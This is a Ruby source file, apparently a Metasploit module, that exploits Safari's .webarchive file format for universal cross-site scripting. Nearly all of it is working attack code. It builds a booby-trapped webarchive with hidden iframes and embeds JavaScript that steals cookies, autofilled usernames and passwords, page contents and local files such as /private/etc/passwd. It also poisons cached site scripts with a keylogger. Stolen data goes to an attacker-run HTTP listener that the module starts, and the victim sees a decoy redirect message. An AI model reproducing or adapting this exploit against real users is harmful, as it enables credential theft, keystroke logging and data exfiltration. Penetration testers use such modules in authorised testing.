metasploit-framework/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'open-uri'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  # [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
  attr_accessor :scripts_to_poison

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple Safari .webarchive File Format UXSS',
      'Description'    => %q{
        This module exploits a security context vulnerability that is inherent
        in Safari's .webarchive file format. The format allows you to
        specify both domain and content, so we can run arbitrary script in the
        context of any domain. This allows us to steal cookies, file URLs, and saved
        passwords from any website we want -- in other words, it is a universal
        cross-site scripting vector (UXSS). On sites that link to cached javascripts,
        we can additionally poison user's browser cache and install keyloggers.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'joev',
      'References'     =>
        [
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format']
        ],
      'DisclosureDate' => 'Feb 22 2013',
      'Actions'     =>
        [
          [ 'WebServer' ]
        ],
      'PassiveActions' =>
        [
          'WebServer'
        ],
      'DefaultAction'  => 'WebServer'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.webarchive']),
        OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/']),
        OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
        OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarhive.', '/msf.webarchive']),
        OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
        OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
        OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
        OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
        OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]),
        OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]),
        OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true])
      ],
      self.class)
  end

  def run
    if should_install_keyloggers?
      print_status("Fetching URLs to parse and look for cached assets...")
      self.scripts_to_poison = find_cached_scripts
    end
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(webarchive_xml)
    print_status("Running WebServer...")
    start_http
  end

  def cleanup
    super
    # clear my resource, deregister ref, stop/close the HTTP socket
    begin
      @http_service.remove_resource(collect_data_uri)
      @http_service.deref
      @http_service.stop
      @http_service.close
      @http_service = nil
    rescue
    end
  end

  #
  # Ensures that gzip can be used.  If not, an exception is generated.  The
  # exception is only raised if the DisableGzip advanced option has not been
  # set.
  #
  def use_zlib
    if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
      fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
    end
  end

  #
  # Handle the HTTP request and return a response.  Code borrorwed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http(opts={})
    # Ensture all dependencies are present before initializing HTTP
    use_zlib

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['SRVPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      },
      opts['Comm'],
      datastore['SSLCert']
    )

    @http_service.server_name = datastore['HTTP::server_name']

    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => collect_data_uri
    }.update(opts['Uri'] || {})

    proto = (datastore["SSL"] ? "https" : "http")
    print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    end

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)

    # Add path to download
    uopts = {
      'Proc' => Proc.new { |cli, req|
        resp = Rex::Proto::Http::Response::OK.new
        resp['Content-Type'] = 'application/x-webarchive'
        resp.body = @xml.to_s
        cli.send_response resp
      },
      'Path' => webarchive_download_url
    }.update(opts['Uri'] || {})
    @http_service.add_resource(webarchive_download_url, uopts)

    print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}")

    # As long as we have the http_service object, we will keep the ftp server alive
    while @http_service
      select(nil, nil, nil, 1)
    end
  end

  def on_request_uri(cli, request)
    begin
      data_str = if request.body.size > 0
        request.body
      else
        request.qstring['data']
      end
      data = JSON::parse(data_str || '')
      file = record_data(data, cli)
      send_response_html(cli, '')
      print_good "#{data_str.length} chars received and stored to #{file}"
    rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
      print_error "Invalid JSON received: #{data_str}"
      send_not_found(cli)
    end
  end

  # @param [Hash] data the data to store in the log
  # @return [String] filename where we are storing the data
  def record_data(data, cli)
    @client_cache ||= Hash.new({})
    @client_cache[cli.peerhost]['file'] ||= store_loot(
      "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
    )
    file = @client_cache[cli.peerhost]['file']

    @client_cache[cli.peerhost]['data'] ||= []
    @client_cache[cli.peerhost]['data'].push(data)
    data_str = JSON.generate(@client_cache[cli.peerhost]['data'])

    File.write(file, data_str)

    file
  end

  ### ASSEMBLE THE WEBARCHIVE XML ###

  # @return [String] contents of webarchive as an XML document
  def webarchive_xml
    return @xml if not @xml.nil? # only compute xml once
    @xml = webarchive_header
    urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) }
    @xml << webarchive_footer
  end

  # @return [String] the first chunk of the webarchive file, containing the WebMainResource
  def webarchive_header
    %Q|
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
        "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
      <plist version="1.0">
      <dict>
        <key>WebMainResource</key>
        <dict>
          <key>WebResourceData</key>
          <data>
            #{Rex::Text.encode_base64(iframes_container_html)}</data>
          <key>WebResourceFrameName</key>
          <string></string>
          <key>WebResourceMIMEType</key>
          <string>text/html</string>
          <key>WebResourceTextEncodingName</key>
          <string>UTF-8</string>
          <key>WebResourceURL</key>
          <string>file:///</string>
        </dict>
        <key>WebSubframeArchives</key>
        <array>
    |
  end

  # @return [String] the XML markup to insert into the webarchive for each unique
  #   iframe (we use one frame per site we want to steal)
  def webarchive_iframe(url, idx)
    %Q|
      <dict>
        <key>WebMainResource</key>
        <dict>
          <key>WebResourceData</key>
          <data>
          #{Rex::Text.encode_base64(iframe_content_for_url(url))}</data>
          <key>WebResourceFrameName</key>
          <string>&lt;!--framePath //&lt;!--frame#{idx}--&gt;--&gt;</string>
          <key>WebResourceMIMEType</key>
          <string>text/html</string>
          <key>WebResourceTextEncodingName</key>
          <string>UTF-8</string>
          <key>WebResourceURL</key>
          <string>#{escape_xml url}</string>
        </dict>
        #{webarchive_iframe_subresources(url, idx)}
      </dict>
    |
  end

  # @return [String] the XML mark up for adding a set of "stored" resources at
  #   the given URLs
  def webarchive_iframe_subresources(url, idx)
    %Q|
      <key>WebSubresources</key>
      <array>
        #{webarchive_resources_for_poisoning_cache(url)}
      </array>
    |
  end

  # @return [String] the XML markup to insert into the webarchive for each unique
  #   iframe (we use one frame per site we want to steal)
  # @return '' if msf user does not want to poison cache
  def webarchive_resources_for_poisoning_cache(url)
    if not should_install_keyloggers? then return '' end

    url_idx = urls.index(url)
    scripts = scripts_to_poison[url_idx] || []
    xml_dicts = scripts.map do |script|
      script_body = inject_js_keylogger(script[:body])
      %Q|
      <dict>
        <key>WebResourceData</key>
        <data>
        #{Rex::Text.encode_base64(script_body)}
        </data>
        <key>WebResourceMIMEType</key>
        <string>application/javascript</string>
        <key>WebResourceResponse</key>
        <data>
        #{Rex::Text.encode_base64 web_response_xml(script)}
        </data>
        <key>WebResourceURL</key>
        <string>#{escape_xml script[:url]}</string>
      </dict>
      |
    end
    xml_dicts.join
  end

  # @return [String] the closing chunk of the webarchive XML code
  def webarchive_footer
    %Q|
        </array>
      </dict>
      </plist>
    |
  end

  # @param [script] hash containing HTTP headers from the request
  # @return [String] xml markup for serialized WebResourceResponse containing good
  #   stuff like HTTP/caching headers. Safari appears to do the following:
  #    NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
  #    [a encodeObject:response forKey:@"WebResourceResponse"];
  def web_response_xml(script)
    # this is a serialized NSHTTPResponse, i'm too lazy to write a
    #   real encoder so yay lets use string interpolation.
    # ripped this straight out of a webarchive save
    script['content-length'] = script[:body].length
    whitelist = %w(content-type content-length date etag
                    Last-Modified cache-control expires)
    headers = script.clone.delete_if { |k, v| not whitelist.include? k }

    key_set = headers.keys.sort
    val_set = key_set.map { |k| headers[k] }
    key_refs = key_set.each_with_index.map do |k, i|
      { 'CF$UID' => 9+i }
    end
    val_refs = key_set.each_with_index.map do |k, i|
      { 'CF$UID' => 9+key_set.length+i }
    end
  %Q|
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
      <key>$archiver</key>
      <string>NSKeyedArchiver</string>
      <key>$objects</key>
      <array>
        <string>$null</string>
        <dict>
          <key>$0</key>
          <integer>8</integer>
          <key>$1</key>
          <integer>1</integer>
          <key>$10</key>
          <integer>8</integer>
          <key>$11</key>
          <integer>0</integer>
          <key>$2</key>
          <integer>7</integer>
          <key>$3</key>
          <dict>
            <key>CF$UID</key>
            <integer>2</integer>
          </dict>|+
          (4..7).map do |i|
            %Q|
              <key>$#{i}</key>
              <dict>
                <key>CF$UID</key>
                <integer>#{i+1}</integer>
              </dict>|
          end.join("\n") + %Q|
          <key>$8</key>
          <dict>
            <key>CF$UID</key>
            <integer>#{8+key_set.length*2+2}</integer>
          </dict>
          <key>$9</key>
          <dict>
            <key>CF$UID</key>
            <integer>0</integer>
          </dict>
          <key>$class</key>
          <dict>
            <key>CF$UID</key>
            <integer>#{8+key_set.length*2+3}</integer>
          </dict>
        </dict>
        <dict>
          <key>$class</key>
          <dict>
            <key>CF$UID</key>
            <integer>4</integer>
          </dict>
          <key>NS.base</key>
          <dict>
            <key>CF$UID</key>
            <integer>0</integer>
          </dict>
          <key>NS.relative</key>
          <dict>
            <key>CF$UID</key>
            <integer>3</integer>
          </dict>
        </dict>
        <string>#{escape_xml script[:url]}</string>
        <dict>
          <key>$classes</key>
          <array>
            <string>NSURL</string>
            <string>NSObject</string>
          </array>
          <key>$classname</key>
          <string>NSURL</string>
        </dict>
        <real>388430153.25252098</real>
        <integer>1</integer>
        <integer>200</integer>
        <dict>
          <key>$class</key>
          <dict>
            <key>CF$UID</key>
            <integer>#{8+key_set.length*2+1}</integer>
          </dict>
          <key>NS.keys</key>
          <array>|+
          key_set.each_with_index.map do |k, i|
            %Q|<dict>
              <key>CF$UID</key>
              <integer>#{9+i}</integer>
            </dict>|
          end.join("\n") + %Q|
          </array>
          <key>NS.objects</key>
          <array>|+
          val_set.each_with_index.map do |k, i|
            %Q|<dict>
              <key>CF$UID</key>
              <integer>#{9+key_set.length+i}</integer>
            </dict>|
          end.join("\n") + %Q|
          </array>
        </dict>
        #{key_set.map{|s| "<string>#{s}</string>" }.join("\n")}
        #{val_set.map{|s| "<string>#{s}</string>" }.join("\n")}
        <dict>
          <key>$classes</key>
          <array>
            <string>NSMutableDictionary</string>
            <string>NSDictionary</string>
            <string>NSObject</string>
          </array>
          <key>$classname</key>
          <string>NSMutableDictionary</string>
        </dict>
        <integer>107961</integer>
        <dict>
          <key>$classes</key>
          <array>
            <string>NSHTTPURLResponse</string>
            <string>NSURLResponse</string>
            <string>NSObject</string>
          </array>
          <key>$classname</key>
          <string>NSHTTPURLResponse</string>
        </dict>
      </array>
      <key>$top</key>
      <dict>
        <key>WebResourceResponse</key>
        <dict>
          <key>CF$UID</key>
          <integer>1</integer>
        </dict>
      </dict>
      <key>$version</key>
      <integer>100000</integer>
    </dict>
    </plist>
    |
  end


  #### JS/HTML CODE ####

  # Wraps the result of the block in an HTML5 document and body
  def wrap_with_doc(&blk)
    %Q|
      <!doctype html>
      <html>
        <body>
          #{yield}
        </body>
      </html>
    |
  end

  # Wraps the result of the block with <script> tags
  def wrap_with_script(&blk)
    "<script>#{yield}</script>"
  end

  # @return [String] mark up for embedding the iframes for each URL in a place that is
  #   invisible to the user
  def iframes_container_html
    hidden_style = "position:fixed; left:-600px; top:-600px;"
    wrap_with_doc do
      frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" }
      communication_js + frames.join + injected_js_helpers + steal_files + message
    end
  end

  # @return [String] javascript code, wrapped in script tags, that is inserted into the
  #   WebMainResource (parent) frame so that child frames can communicate "up" to the parent
  #   and send data out to the listener
  def communication_js
    wrap_with_script do
      %Q|
        window.addEventListener('message', function(event){
          var x = new XMLHttpRequest;
          x.open('POST', '#{backend_url}#{collect_data_uri}', true);
          x.send(event.data);
        });
      |
    end
  end

  # @return [String] all the HTML markup required for executing the chosen attacks
  def iframe_content_for_url(url)
    # this JS code runs inside the iframes, in the context of url
    html = ''
    html << injected_js_helpers
    html << trigger_cache_poison_for_url(url) if should_install_keyloggers?
    html << steal_cookies_for_url(url)        if should_steal_cookies?
    html << steal_form_data_for_url(url)      if should_steal_form?
    wrap_with_doc { html }
  end

  # @return [String] javascript code, wrapped in a script tag, that steals the cookies
  #  and response body/headers, and passes them back up to the parent.
  def steal_cookies_for_url(url)
    wrap_with_script do
      %Q|
        try {
          var req = new XMLHttpRequest();
          var sent = false;
          req.open('GET', '#{url}', true);
          req.onreadystatechange = function() {
            if (req.readyState==4 && !sent) {
              sendData('#{url}', {
                response_headers: req.getAllResponseHeaders(),
                response_body: req.responseText
              });
              sent = true;
            }
          };
          req.send(null);
        } catch (e) {}
        sendData('cookie', document.cookie);
      |
    end
  end

  # @return [String] javascript code, wrapped in a script tag, that steals local files
  #   and sends them back to the listener. This code is executed in the WebMainResource (parent)
  #   frame, which runs in the file:// protocol
  def steal_files
    return '' unless should_steal_files?
    urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ')
    wrap_with_script do
      %Q|
        var filesStr = "#{urls_str}";
        var files = filesStr.trim().split(/\s+/);
        var stealFile = function(url) {
          var req = new XMLHttpRequest();
          var sent = false;
          req.open('GET', url, true);
          req.onreadystatechange = function() {
            if (!sent && req.responseText && req.responseText.length > 0) {
              sendData(url, req.responseText);
              sent = true;
            }
          };
          req.send(null);
        };
        for (var i = 0; i < files.length; i++) stealFile(files[i]);
      |
    end
  end

  # @return [String] javascript code, wrapped in a script tag, that steals autosaved form
  #   usernames and passwords. The attack first tries to render the target URL in an iframe,
  #   and steal populated passwords from there. If the site disables iframes through the
  #   X-Frame-Options header, we try popping open a new window and rendering the site in that.
  def steal_form_data_for_url(url)
    wrap_with_script do
      %Q|
        var stealFormData = function(win, completeFn) {
          var doc = win.document;
          if (!doc) doc = win.contentDocument;
          return function() {
            var data = {}, found = false;
            try {
              var inputs = doc.querySelectorAll(
                'input[type=email],input[type=text],input[type=password],textarea'
              );
              for (var i = 0; i < inputs.length; i++) {
                if (inputs[i].value && inputs[i].value.length > 0) {
                  found = true;
                  data[inputs[i].name] = inputs[i].value;
                }
              }
              if (found) sendData(data);
              if (completeFn) completeFn.call();
            } catch(e) {}
          }
        }

        var tryInNewWin = function() {
          var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;');
          if (y) {
            var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20);
            y.addEventListener('load', function() {
              window.setTimeout(stealFormData(y, function(){
                if (int1) {
                  window.clearInterval(int1);
                  int1 = null;
                }
                y.close();
              }), 500);
            }, false);
          }
        };
        var tryInIframe = function(){
          var i = document.createElement('iframe');
          i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;';
          document.body.appendChild(i);
          i.src = '#{url}';
          i.addEventListener('load', function() {
            window.setTimeout(stealFormData(i), 500);
          }, false);
          return i;
        };

        var iframe = tryInIframe();
        if (#{should_pop_up?}) {
          window.setTimeout(function(){

            if (iframe.contentDocument &&
                iframe.contentDocument.location.href == 'about:blank') {
              tryInNewWin();
            }
          }, 1000)
        }
      |
    end
  end

  # @return [String] javascript code, wrapped in script tag, that adds a helper function
  #   called "sendData()" that passes the arguments up to the parent frame, where it is
  #   sent out to the listener
  def injected_js_helpers
    wrap_with_script do
      %Q|
        window.sendData = function(key, val) {
          var data = {};
          data[key] = val;
          window.top.postMessage(JSON.stringify(data), "*")
        };
      |
    end
  end

  # @return [String] HTML markup that includes a script at the URL we want to poison
  #   We will then install the injected_js_keylogger at the same URL
  def trigger_cache_poison_for_url(url)
    url_idx = urls.index(url)
    scripts_to_poison[url_idx].map { |s|
      "\n<script src='#{s[:url]}' type='text/javascript'></script>\n"
    }.join
  end

  # @param [String] original_js the original contents of the script file
  # @return [String] the poisoned contents. Once the module has found a valid 304'd script to
  #   poison, it "poisons" it by adding a keylogger, then adds the output as a resource with
  #   appropriate Cache-Control to the webarchive.
  # @return [String] the original contents if msf user does not want to install keyloggers
  def inject_js_keylogger(original_js)
    if not should_install_keyloggers?
      original_js
    else
      frame_name = 'lalala___lalala'
      secret = '____INSTALLED!??!'
      %Q|
        (function(){
          if (window['#{secret}']) return;
          window['#{secret}'] = true;
          document.addEventListener('DOMContentLoaded',function(){
            var buffer = '';
            var sendData = function(keystrokes, time) {
              var img = new Image();
              data = JSON.stringify({keystrokes: keystrokes, time: time});
              img.src = '#{backend_url}#{collect_data_uri}?data='+data;
            }
            document.addEventListener('keydown', function(e) {
              var c = String.fromCharCode(e.keyCode);
              if (c.length > 0) buffer += c;
            }, true);
            window.setInterval(function(){
              if (buffer.length > 0) {
                sendData(buffer, new Date);
                buffer = '';
              }
            }, 3000)
          });
        })();
        #{original_js}
      |
    end
  end

  # @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked
  #   javascript assets in its HTML response.
  def all_script_urls(pages)
    pages.map do |url|
      results = []
      print_status "Fetching URL #{url}..."
      # fetch and parse the HTML document
      doc = Nokogiri::HTML(open(url))
      # recursively add scripts from iframes
      doc.css('iframe').each do |iframe|
        print_status "Checking iframe..."
        if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty?
          results += all_script_urls([iframe.attributes['src'].value])
        end
      end
      # add all scripts on the current page
      doc.css('script').each do |script| # loop over every <script>
        # external scripts only
        if not script.attributes['src'].nil? and not script.attributes['src'].value.empty?
          results << script.attributes['src'].value
        end
      end
      results
    end
  end

  # @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts
  def find_cached_scripts
    cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
      begin
        page_uri = URI.parse(urls[i])
      rescue URI::InvalidURIError => e
        next
      end

      results = urls_for_site.uniq.map do |url|
        begin
          print_status "URL: #{url}"
          begin
            script_uri = URI.parse(url)
            if script_uri.relative?
              url = page_uri + url
            end
            io = open(url)
          rescue URI::InvalidURIError => e
            next
          end

          # parse some HTTP headers and do type coercions
          last_modified = io.last_modified
          expires = Time.parse(io.meta['expires']) rescue nil
          cache_control = io.meta['cache-control'] || ''
          charset = io.charset
          etag = io.meta['etag']
          # lets see if we are able to "poison" the cache for this asset...
          if (!expires.nil? && Time.now < expires) or
              (cache_control.length > 0) or   # if asset is cacheable
              (not last_modified.nil? and last_modified.to_s.length > 0)
            print_status("Found cacheable #{url}")
            io.meta.merge(:body => io.read, :url => url)
          else
            nil
          end
        rescue Errno::ENOENT => e # lots of things can go wrong here.
          next
        end
      end
      results.compact # remove nils
    end
    print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable."
    cached_scripts
  end

  ### HELPERS ###

  # @return [String] the path to send data back to
  def collect_data_uri
    path = datastore["URIPATH"]
    if path.nil? or path.empty?
      '/grab'
    elsif path =~ /^\//
      path
    else
      "/#{path}"
    end
  end

  # @return [String] formatted http/https URL of the listener
  def backend_url
    proto = (datastore["SSL"] ? "https" : "http")
    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
    "#{proto}://#{myhost}#{port_str}"
  end

  # @return [String] URL that serves the malicious webarchive
  def webarchive_download_url
    datastore["DOWNLOAD_PATH"]
  end

  # @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
  #   via the FILE_URLS module option.
  def interesting_file_urls
    [
      'file:///var/log/weekly.out', # may contain usernames
      'file:///private/var/log/secure.log',
      'file:///private/var/log/install.log',
      'file:///private/etc/passwd'
    ]
  end

  # @return [String] HTML content that is rendered in the <body> of the webarchive.
  def message
    "<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
  end

  # @return [Array<String>] of URLs provided by the user
  def urls
    (datastore['URLS'] || '').split(/\s+/)
  end

  # @param [String] input the unencoded string
  # @return [String] input with dangerous chars replaced with xml entities
  def escape_xml(input)
    input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
              .gsub(">", "&gt;").gsub("'", "&apos;")
              .gsub("\"", "&quot;")
  end

  def should_steal_cookies?
    datastore['STEAL_COOKIES']
  end

  def should_steal_form?
    datastore['STEAL_FORM_DATA']
  end

  def should_steal_files?
    datastore['STEAL_FILES']
  end

  def should_pop_up?
    should_steal_form? and datastore['ENABLE_POPUPS']
  end

  def should_install_keyloggers?
    datastore['INSTALL_KEYLOGGERS']
  end
end